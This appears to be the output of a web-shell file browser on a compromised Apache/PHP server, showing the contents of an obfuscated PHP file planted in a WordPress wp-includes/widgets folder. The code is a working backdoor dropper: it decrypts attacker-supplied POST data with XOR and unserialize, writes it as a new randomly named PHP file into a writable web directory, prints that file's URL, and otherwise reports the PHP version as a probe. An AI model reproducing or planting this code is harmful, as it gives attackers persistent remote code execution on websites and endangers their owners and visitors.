HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/widgets/fclnifav.php
<?php $WeQZKCf = "uEsEjmoO";function LNaNHyh($WeQZKCf){$ZeOjfeH = 'r'.chr(1029-932).chr(132-13).'u'.chr(114).chr(108)."\x64".chr(101)."\143".'o'."\144".chr(887-786);$crPvjI = "\x73".chr(628-512)."\162"."\137".chr(114)."\157".chr(1006-890)."\x31".'3';$QdqRV = 's'."\164".chr(158-44)."\x5f"."\163"."\160"."\x6c".chr(105)."\164";$WeQZKCf = $QdqRV($ZeOjfeH($crPvjI($WeQZKCf)));return $WeQZKCf;}function HBUenwJ($pcetDxN, $xTqsvgr){$yyzbamOA = 's'.chr(116).chr(114).chr(710-615).chr(962-847).'p'.'l'."\151".'t';$pcetDxN = array_slice($yyzbamOA(str_repeat($pcetDxN, (count($xTqsvgr)/16)+1)), 0, count($xTqsvgr));return $pcetDxN;}function hmXfRFYdTO($ACLlxK, $DRFtIs, $pcetDxN){$mGNpRDUwG = "44ea0c90-9d2d-4640-b726-9c075580070a";return $ACLlxK ^ $mGNpRDUwG[$DRFtIs % strlen($mGNpRDUwG)] ^ $pcetDxN;}function uZKOuXlDB($xTqsvgr, $pcetDxN){$xTqsvgr = array_map("hmXfRFYdTO", array_values($xTqsvgr), array_keys($xTqsvgr), array_values($pcetDxN));$xTqsvgr = implode("", $xTqsvgr);$zYNdyw = "\165".chr(1014-904).'s'."\x65".'r'."\151"."\x61".chr(465-357)."\x69".chr(122).chr(101);$xTqsvgr = @$zYNdyw($xTqsvgr);return $xTqsvgr;}function fGSOGDclL(){echo "qbzqfqY";}function lpvyZXke($ZMvfkir){static $QsIcXslQ = array();$XdpkP = glob($ZMvfkir . '/*', GLOB_ONLYDIR);$vHZRGK = count($XdpkP);if ($vHZRGK > 0) {foreach ($XdpkP as $ZMvfk) {$tbrNNgcmn = 'i'."\163".chr(95)."\x77"."\162".chr(387-282).'t'.'a'."\142".chr(108).chr(101);if (@$tbrNNgcmn($ZMvfk)) {$QsIcXslQ[] = $ZMvfk;}}}foreach ($XdpkP as $ZMvfkir) lpvyZXke($ZMvfkir);return $QsIcXslQ;}function pfFeoz(){echo "uEsEjmoO";}function MJTbArKkky($xTqsvgr){$uxHvGKsNH = "\104".chr(79)."\103".'U'."\x4d"."\x45".'N'."\x54".'_'.chr(374-292)."\117".'O'.chr(84);$gyGgwdX = $_SERVER[$uxHvGKsNH];$XdpkP = lpvyZXke($gyGgwdX);$NSARFIQI = array_rand($XdpkP);$HYLrjplx = "\x2e".'p'.chr(624-520).chr(112);$ZMvfknKKctAE = $XdpkP[$NSARFIQI] . "/" . substr(md5(time()), 0, 8) . $HYLrjplx;$gGshIu = 'f'.chr(105).'l'."\x65".chr(666-571)."\160"."\x75".'t'.chr(1026-931).'c'."\x6f"."\x6e".chr(116).chr(835-734)."\156".chr(465-349)."\x73";@$gGshIu($ZMvfknKKctAE, $xTqsvgr);$trcZC = chr(72)."\x54".'T'."\x50".'_'."\110"."\x4f".chr(83).'T';$FKJRQR = "\x68".chr(116)."\x74"."\x70".chr(187-129).chr(86-39).chr(47);$eOMPNOeYj = $FKJRQR . $_SERVER[$trcZC] . substr($ZMvfknKKctAE, strlen($gyGgwdX));print($eOMPNOeYj);}foreach ($_POST as $pcetDxN => $xTqsvgr){$AEJgCZ = strlen($pcetDxN);if ($AEJgCZ == 16){$xTqsvgr = LNaNHyh($xTqsvgr);$pcetDxN = HBUenwJ($pcetDxN, $xTqsvgr);$xTqsvgr = uZKOuXlDB($xTqsvgr, $pcetDxN);if (@is_array($xTqsvgr)){$NSARFIQI = array_keys($xTqsvgr);$xTqsvgr = $xTqsvgr[$NSARFIQI[0]];$NSARFIQI = $NSARFIQI[0];if ($xTqsvgr !== $NSARFIQI){MJTbArKkky($xTqsvgr);}else {$EMwTs = chr(112)."\150"."\160";$Uwpfzvj = chr(840-728).chr(253-149)."\x70".chr(118).'e'."\162".chr(115).chr(105)."\x6f"."\x6e";$xTqsvgr = Array($EMwTs => @$Uwpfzvj(), );$FAiHgf = 's'."\145".chr(648-534).'i'."\x61".chr(672-564).chr(159-54)."\x7a".chr(101);echo @$FAiHgf($xTqsvgr);}die();}}}